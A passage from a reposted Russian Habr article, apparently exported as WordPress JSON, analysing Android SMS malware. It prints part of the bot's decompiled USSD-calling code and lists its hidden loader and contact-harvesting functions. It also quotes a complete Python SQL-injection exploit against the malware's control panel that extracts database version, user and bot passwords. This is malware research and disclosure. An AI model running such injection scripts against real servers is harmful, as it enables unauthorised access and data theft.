StringBuilder(String.valueOf(phone)).append(Uri.encode(&quot;#&quot;)).toString();         C0091M.m6d(&quot;ussdOn: &quot; + phone);         try {             Intent intent = new Intent(&quot;android.intent.action.CALL&quot;, Uri.parse(&quot;tel:&quot; + phone));             intent.addFlags(268435456);             context.startActivity(intent);         } catch (Exception e) {             Settings.sendMessage(context, &quot;\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u0430\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430: USSD &quot; + phone, &quot;\u0421\u0418\u0421\u0422\u0415\u041c\u0410&quot;, 2, 0);         }     } <\/code><\/pre>\n<p>  \u0412 \u0431\u043e\u0442\u0435 \u0436\u0435 USSD \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0444\u0430\u043a\u0442. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u0440\u043e\u0448\u043b\u0430 \u0438\u043b\u0438 \u0435\u043a\u0441\u0435\u043f\u0448\u0435\u043d. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0442\u0443\u0442 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d. <\/p>\n<p>  <i>timer_msg<\/i> \u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0441\u043c\u0441 \u043f\u043e \u0442\u0430\u0439\u043c\u0435\u0440\u0443<\/p>\n<p>  \u0411\u043e\u0442 \u0438\u043c\u0435\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b, \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f:<\/p>\n<p>  downloadFile, installApk \u2014 \u043b\u043e\u0430\u0434\u0435\u0440<br \/>  getContacts \u2014 \u0441\u0431\u043e\u0440 \u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0438\u0437 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u0438<br \/>  openUrl \u2014 \u0432\u044b\u0437\u043e\u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0441 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c <\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0431\u043e\u0442\u0430, \u0441\u043a\u0438\u043d\u0443\u043b\u0430 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0430\u0434\u043c\u0438\u043d\u043a\u0443  <a href=\"https:\/\/habrahabr.ru\/users\/letm\/\" class=\"user_link\">letm<\/a>. <\/p>\n<blockquote><p>\u0423\u0432\u0438\u0434\u0435\u0432 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0439 dir listng, \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0430\u043a \u0433\u0434\u0435 \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f php \u043a\u043e\u0434, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438. \u0412 \u0438\u0442\u043e\u0433\u0435 \u043d\u0430\u0448\u0435\u043b \u043d\u0430 <a href=\"http:\/\/rghost.ru\/8mYYVxYMp\">\u0440\u0433\u0445\u043e\u0441\u0442\u0435<\/a> \u043d\u0435\u0437\u0430\u043f\u0430\u0440\u043e\u043b\u0435\u043d\u043d\u044b\u0439 \u0430\u0440\u0445\u0438\u0432 \u0441 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c.<br \/>  \u0411\u044b\u0441\u0442\u0440\u043e \u043f\u0440\u043e\u0448\u0435\u043b\u0441\u044f \u043f\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u043c \u2014 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442\u0441\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e. \u041d\u043e \u043f\u043e\u043f\u0430\u043b\u0441\u044f \u043e\u0434\u0438\u043d \u043c\u043e\u043c\u0435\u043d\u0442 \u0433\u0434\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u043c\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b \u0431\u044b\u0442\u044c \u0442\u0430\u043a\u043e\u0432\u044b\u043c.<br \/>  \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0437\u0430\u043c\u0435\u0441\u0442\u043e \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u043c\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0435\u043b \u0432\u0437\u044f\u0442\u044c \u0442\u043e \u0436\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440, \u043d\u043e \u0431\u0435\u0437 \u0444\u0438\u043b\u044c\u0442\u0440\u0430. \u0421\u0430\u043c\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0431\u0430\u043b\u0430\u043d\u0441\u0435 \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445.<br \/>  \u0422\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0444\u0438\u043b\u044c\u0442\u0440\u0430 \u0434\u0430\u043b\u044c\u0448\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 preg_match( &#8216;\/\u0411\u0430\u043b\u0430\u043d\u0441\u044b: (.*?) \u0440\u0443\u0431.\/is&#8217;, $message, $links)<br \/>  \u0442\u043e \u0447\u0442\u043e \u0443 \u043d\u0430\u0441 \u0432 (.*?) \u0437\u0430\u0442\u0435\u043c \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445. \u0422\u0430\u043a\u043e\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f.<br \/>  \u041f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0432 \u0442\u043e\u0442 \u0447\u0438\u0441\u043b\u0435 \u0438\u0437 \u0434\u0440\u0443\u0433\u0438\u0445 \u0442\u0430\u0431\u043b\u0438\u0446, \u0447\u0442\u043e \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u043a\u0430\u043a \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u0438\u0445 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d \u043f\u043e\u043a\u0430\u0437 \u043e\u0448\u0438\u0431\u043e\u043a. \u041d\u0443\u0436\u043d\u043e \u0438\u0441\u043a\u0430\u0442\u044c \u043c\u043e\u043c\u0435\u043d\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u0418 \u0442\u0430\u043a\u043e\u0439 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0431\u043e\u0442\u0430. \u0415\u0441\u043b\u0438 \u0431\u043e\u0442 \u0443\u0436\u0435 \u0431\u044b\u043b \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d, \u0432 \u0432\u044b\u0432\u043e\u0434\u0435 \u043d\u0430\u043c \u043f\u043e\u043a\u0430\u0436\u0435\u0442 \u0435\u0433\u043e \u043f\u0430\u0440\u043e\u043b\u044c. \u0427\u0442\u043e \u043c\u044b \u0438 \u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u2014 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u043c \u0441\u0432\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c, \u043e\u0442\u0441\u044b\u043b\u0430\u0435\u043c \u043f\u0430\u043a\u0435\u0442 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434<br \/>  \u0412 \u0438\u0442\u043e\u0433\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0441\u043f\u043b\u043e\u0438\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u0435\u0442 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u044e\u0437\u0435\u0440\u0430 \u0438 \u0432\u0435\u0440\u0441\u0438\u044e\/<\/p>\n<p>  python exploit.py <a href=\"http:\/\/target.com\/\">target.com<\/a><\/p>\n<pre><code class=\"python\">&lt;spoiler title=&quot;exploit.py:&quot;&gt; import urllib2,urllib,sys,re  def register(target, mode): \tvalues = { 'prefix': '111111111','version_sdk': '222222222', 'version_bot': '333333333', 'imei':'4444444444444', 'country':'%%', 'number':'31333731337', 'operator':'telekom'} \tdata = urllib.urlencode(values) \treq = urllib2.Request(target+'\/controller.php?mode=register', data) \tresponse = urllib2.urlopen(req) \tresult = response.read() \tbot_pwd = re.compile('&quot;bot_pwd&quot;: &quot;(.*)&quot;}]'); \tregex_pwd = re.findall(bot_pwd, result) \tbot_id = re.compile('&quot;bot_id&quot;: (\\d+),'); \tregex_id = re.findall(bot_id, result) \tif len(regex_pwd)&gt;0: \t\tif mode == None: \t\t\texploit(target, regex_id[0], None) \t\telse: \t\t\tprint &quot;Result: &quot;+regex_pwd[0] \telse: \t\tprint 'exploit failed.. cannot find enabled country or smth... :('  def exploit(target, id, payload): \tprint 'Sending payload'; \tif payload==None: \t\tpayload=&quot;\\xD0\\x91\\xD0\\xB0\\xD0\\xBB\\xD0\\xB0\\xD0\\xBD\\xD1\\x81: aaaa',pwd=(select concat_ws(0x3a,version(),user())) WHERE id=&quot;+str(id)+&quot; -- 1\\xD1\\x80.&quot; \tvalues = { 'bid': '111111111','sms_mode': '1', 'number': '900', 'text': payload} \tdata = urllib.urlencode(values) \treq = urllib2.Request(target+'\/controller.php?mode=setSaveInboxSms', data) \tresponse = urllib2.urlopen(req) \tregister(target, 'result')  if len(sys.argv)&gt;1: \tprint 'Ur target is:'+sys.argv[1] \tprint register(sys.argv[1], None) else: \tprint 'usage: exploit.pl &lt;http:\/\/local.ru\/&gt;' <\/code><\/pre>\n<p>  <\/p><\/blockquote>\n<p>                  <\/p>\n<div class=\"clear\"><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habrahabr.ru\/post\/276211\/\"> https:\/\/habrahabr.ru\/post\/276211\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>       <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/47c\/957\/e5e\/47c957e5e06c4d81899b1149cef9c61a.png\" height=\"190\"\/><br \/>  \u0427\u0430\u0441\u0442\u043e \u0432\u0438\u0440\u0443\u0441\u044b \u0434\u043b\u044f android \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0442 \u043a \u043d\u0430\u043c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a. \u0420\u0430\u043d\u044c\u0448\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u0438 \u0421\u041c\u0421, \u0430 \u0442\u0435\u043f\u0435\u0440\u044c \u0435\u0449\u0435 \u0438 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u044b. \u041c\u043d\u0435 \u0431\u044b\u043b\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0447\u0442\u043e \u0436\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u043d\u0430 \u0440\u044b\u043d\u043a\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0438 \u043f\u043e\u0434\u0430\u043b\u0430 \u043f\u0430\u0440\u0443 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0430 avito.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-273231","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/273231","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=273231"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/273231\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=273231"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=273231"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=273231"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}